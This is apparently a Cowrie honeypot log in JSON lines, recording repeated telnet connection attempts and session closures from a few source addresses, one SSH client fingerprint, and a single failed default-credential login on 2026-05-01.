{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":55450,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8fe6148efb","protocol":"telnet","message":"New connection: 117.120.7.112:55450 (159.203.135.109:23) [session: ab8fe6148efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:17.009588Z"}
{"eventid":"cowrie.session.closed","duration":30.836403131484985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:17.051301Z","src_ip":"185.111.235.80","session":"03cc7c404867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.480271577835083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:17.553844Z","src_ip":"185.111.235.80","session":"5515649d7491","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:18.027883Z","src_ip":"176.65.139.103","session":"864f786a0b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35716,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f706c4c6cb","protocol":"telnet","message":"New connection: 185.111.235.80:35716 (10.17.0.5:23) [session: 40f706c4c6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:18.107636Z"}
{"eventid":"cowrie.session.closed","duration":30.405733585357666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:18.145841Z","src_ip":"185.111.235.80","session":"b43aacddf2e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.328978300094604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:18.154097Z","src_ip":"117.120.7.112","session":"f11a1f025731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50575280189514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:18.181590Z","src_ip":"117.120.7.112","session":"4fd9815aa859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502612590789795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:18.208435Z","src_ip":"117.120.7.112","session":"d704f39fd30d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42216,"dst_ip":"10.17.0.5","dst_port":23,"session":"43e2f2afaa39","protocol":"telnet","message":"New connection: 185.111.235.80:42216 (10.17.0.5:23) [session: 43e2f2afaa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:18.455255Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42526,"dst_ip":"10.17.0.5","dst_port":23,"session":"e41a5fc7bce8","protocol":"telnet","message":"New connection: 185.111.235.80:42526 (10.17.0.5:23) [session: e41a5fc7bce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:18.517336Z"}
{"eventid":"cowrie.session.closed","duration":30.4313747882843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:18.963732Z","src_ip":"185.111.235.80","session":"89c3fb23755f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44606,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0b613a0c26","protocol":"telnet","message":"New connection: 185.111.235.80:44606 (10.17.0.5:23) [session: 9c0b613a0c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:19.055631Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40298,"dst_ip":"10.17.0.5","dst_port":23,"session":"01b219df038d","protocol":"telnet","message":"New connection: 185.111.235.80:40298 (10.17.0.5:23) [session: 01b219df038d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:19.118288Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":34508,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f967d6927c","protocol":"telnet","message":"New connection: 117.120.7.112:34508 (159.203.135.109:23) [session: e6f967d6927c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:19.137099Z"}
{"eventid":"cowrie.session.closed","duration":30.72778010368347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:19.158485Z","src_ip":"117.120.7.112","session":"0deb6780e114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902611255645752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:19.172649Z","src_ip":"117.120.7.112","session":"8636fc9dfefa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46702,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fda53ba1e19","protocol":"telnet","message":"New connection: 185.111.235.80:46702 (10.17.0.5:23) [session: 1fda53ba1e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:19.384310Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":36582,"dst_ip":"159.203.135.109","dst_port":23,"session":"bef47c0711f2","protocol":"telnet","message":"New connection: 117.120.7.112:36582 (159.203.135.109:23) [session: bef47c0711f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:19.874640Z"}
{"eventid":"cowrie.session.closed","duration":30.956926107406616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.042203Z","src_ip":"117.120.7.112","session":"449d3bb45b7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"be16169b4151","protocol":"telnet","message":"New connection: 185.111.235.80:49588 (10.17.0.5:23) [session: be16169b4151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.074873Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44862,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ba68a13d25","protocol":"telnet","message":"New connection: 185.111.235.80:44862 (10.17.0.5:23) [session: 93ba68a13d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.097375Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50254,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ab3b881b44","protocol":"telnet","message":"New connection: 185.111.235.80:50254 (10.17.0.5:23) [session: 65ab3b881b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.195002Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46938,"dst_ip":"10.17.0.5","dst_port":23,"session":"64c5d3df49e4","protocol":"telnet","message":"New connection: 185.111.235.80:46938 (10.17.0.5:23) [session: 64c5d3df49e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.445611Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":38388,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be0de957df4","protocol":"telnet","message":"New connection: 117.120.7.112:38388 (159.203.135.109:23) [session: 1be0de957df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.682130Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53004,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e2aeb568c22","protocol":"telnet","message":"New connection: 185.111.235.80:53004 (10.17.0.5:23) [session: 4e2aeb568c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.730062Z"}
{"eventid":"cowrie.session.closed","duration":31.658143043518066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.903876Z","src_ip":"117.120.7.112","session":"56e90579f26e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.312599897384644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.908787Z","src_ip":"185.111.235.80","session":"9b21aca95a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836772918701172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:20.991706Z","src_ip":"117.120.7.112","session":"4a2911b8ebae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139753818511963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:21.000215Z","src_ip":"185.111.235.80","session":"4a92caf1af48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54722,"dst_ip":"10.17.0.5","dst_port":23,"session":"3edf0fb1f82a","protocol":"telnet","message":"New connection: 185.111.235.80:54722 (10.17.0.5:23) [session: 3edf0fb1f82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:21.115530Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55370,"dst_ip":"10.17.0.5","dst_port":23,"session":"011aeaaf5f34","protocol":"telnet","message":"New connection: 185.111.235.80:55370 (10.17.0.5:23) [session: 011aeaaf5f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:21.209066Z"}
{"eventid":"cowrie.session.closed","duration":31.251620531082153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:21.221736Z","src_ip":"117.120.7.112","session":"fc0a3451e65f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56624,"dst_ip":"10.17.0.5","dst_port":23,"session":"15428af25430","protocol":"telnet","message":"New connection: 185.111.235.80:56624 (10.17.0.5:23) [session: 15428af25430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:21.412596Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57448,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d5d695b6540","protocol":"telnet","message":"New connection: 185.111.235.80:57448 (10.17.0.5:23) [session: 1d5d695b6540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:21.616639Z"}
{"eventid":"cowrie.session.closed","duration":31.564868927001953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:21.729789Z","src_ip":"185.111.235.80","session":"0aa766b94cbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":40690,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a63f081adea","protocol":"telnet","message":"New connection: 117.120.7.112:40690 (159.203.135.109:23) [session: 6a63f081adea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:21.772039Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41030,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffe1f0473d50","protocol":"telnet","message":"New connection: 117.120.7.112:41030 (159.203.135.109:23) [session: ffe1f0473d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:21.966694Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41178,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d767c31604f","protocol":"telnet","message":"New connection: 117.120.7.112:41178 (159.203.135.109:23) [session: 8d767c31604f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:22.015394Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59578,"dst_ip":"10.17.0.5","dst_port":23,"session":"1869f099f286","protocol":"telnet","message":"New connection: 185.111.235.80:59578 (10.17.0.5:23) [session: 1869f099f286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:22.084826Z"}
{"eventid":"cowrie.session.closed","duration":30.908858060836792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:22.287586Z","src_ip":"117.120.7.112","session":"3b4a34ffb3f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34076,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee807d46c8f4","protocol":"telnet","message":"New connection: 185.111.235.80:34076 (10.17.0.5:23) [session: ee807d46c8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:22.561964Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":40356,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac1ab22c4ce","protocol":"telnet","message":"New connection: 117.120.7.112:40356 (159.203.135.109:23) [session: aac1ab22c4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:22.601532Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58152,"dst_ip":"10.17.0.5","dst_port":23,"session":"82da5e0f73b5","protocol":"telnet","message":"New connection: 185.111.235.80:58152 (10.17.0.5:23) [session: 82da5e0f73b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:22.798901Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35128,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e70d114f3ee","protocol":"telnet","message":"New connection: 185.111.235.80:35128 (10.17.0.5:23) [session: 9e70d114f3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:22.810790Z"}
{"eventid":"cowrie.session.closed","duration":31.199512243270874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:23.260570Z","src_ip":"185.111.235.80","session":"2a012d1bf95d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":32992,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cca8db5622e","protocol":"ssh","message":"New connection: 176.65.139.103:32992 (10.17.0.5:22) [session: 6cca8db5622e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:23.709162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:23.718203Z","src_ip":"176.65.139.103","session":"6cca8db5622e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":42726,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2b4c80a1208","protocol":"telnet","message":"New connection: 117.120.7.112:42726 (159.203.135.109:23) [session: c2b4c80a1208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:23.727410Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:23.801220Z","src_ip":"176.65.139.103","session":"6cca8db5622e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.209988355636597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:23.889413Z","src_ip":"185.111.235.80","session":"eea22fae30b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40620,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a91461f5fdb","protocol":"telnet","message":"New connection: 185.111.235.80:40620 (10.17.0.5:23) [session: 4a91461f5fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:24.084338Z"}
{"eventid":"cowrie.session.closed","duration":31.30149269104004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:24.089358Z","src_ip":"117.120.7.112","session":"7d05cf97ebc0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:24.217659Z","src_ip":"176.65.139.103","session":"6cca8db5622e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.32292914390564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:24.386920Z","src_ip":"117.120.7.112","session":"fc359a96e9a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7617769241333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:24.403939Z","src_ip":"117.120.7.112","session":"922fddf9d7c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81587028503418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:24.915605Z","src_ip":"185.111.235.80","session":"68634bc015e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.896004915237427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:24.936842Z","src_ip":"185.111.235.80","session":"31940f076314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40048,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a5e650df09","protocol":"telnet","message":"New connection: 185.111.235.80:40048 (10.17.0.5:23) [session: b7a5e650df09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:24.953932Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45308,"dst_ip":"10.17.0.5","dst_port":23,"session":"939201af917d","protocol":"telnet","message":"New connection: 185.111.235.80:45308 (10.17.0.5:23) [session: 939201af917d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:25.031661Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40324,"dst_ip":"10.17.0.5","dst_port":23,"session":"8deeba41090d","protocol":"telnet","message":"New connection: 185.111.235.80:40324 (10.17.0.5:23) [session: 8deeba41090d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:25.037292Z"}
{"eventid":"cowrie.session.closed","duration":30.99177646636963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:25.139105Z","src_ip":"117.120.7.112","session":"9b0a6a314647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41036,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7d7e00e257e","protocol":"telnet","message":"New connection: 185.111.235.80:41036 (10.17.0.5:23) [session: c7d7e00e257e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:25.173404Z"}
{"eventid":"cowrie.session.closed","duration":30.953378915786743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:25.351260Z","src_ip":"117.120.7.112","session":"7bd0621d7ab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715765714645386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:25.357179Z","src_ip":"117.120.7.112","session":"65dc345381bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:25.361967Z","src_ip":"176.65.139.103","session":"6cca8db5622e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48452,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca3e5d18aa4","protocol":"telnet","message":"New connection: 185.111.235.80:48452 (10.17.0.5:23) [session: 7ca3e5d18aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:25.554488Z"}
{"eventid":"cowrie.session.closed","duration":30.825790643692017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:26.321907Z","src_ip":"117.120.7.112","session":"9efb2403e3fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52538,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d0a1b94dcdd","protocol":"telnet","message":"New connection: 185.111.235.80:52538 (10.17.0.5:23) [session: 9d0a1b94dcdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:26.328653Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53126,"dst_ip":"10.17.0.5","dst_port":23,"session":"013dc8485724","protocol":"telnet","message":"New connection: 185.111.235.80:53126 (10.17.0.5:23) [session: 013dc8485724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:26.438879Z"}
{"eventid":"cowrie.session.closed","duration":31.536462783813477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:26.737763Z","src_ip":"185.111.235.80","session":"b455c42fe7d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51390,"dst_ip":"159.203.135.109","dst_port":23,"session":"88f04a2652c2","protocol":"telnet","message":"New connection: 117.120.7.112:51390 (159.203.135.109:23) [session: 88f04a2652c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:26.924560Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56436,"dst_ip":"10.17.0.5","dst_port":23,"session":"28c1f2347f8a","protocol":"telnet","message":"New connection: 185.111.235.80:56436 (10.17.0.5:23) [session: 28c1f2347f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:27.165925Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51830,"dst_ip":"159.203.135.109","dst_port":23,"session":"56ebd20bd706","protocol":"telnet","message":"New connection: 117.120.7.112:51830 (159.203.135.109:23) [session: 56ebd20bd706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:27.195262Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59316,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbb4687355fb","protocol":"telnet","message":"New connection: 185.111.235.80:59316 (10.17.0.5:23) [session: bbb4687355fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:27.665653Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51082,"dst_ip":"159.203.135.109","dst_port":23,"session":"11370bb8f35f","protocol":"telnet","message":"New connection: 117.120.7.112:51082 (159.203.135.109:23) [session: 11370bb8f35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:27.726690Z"}
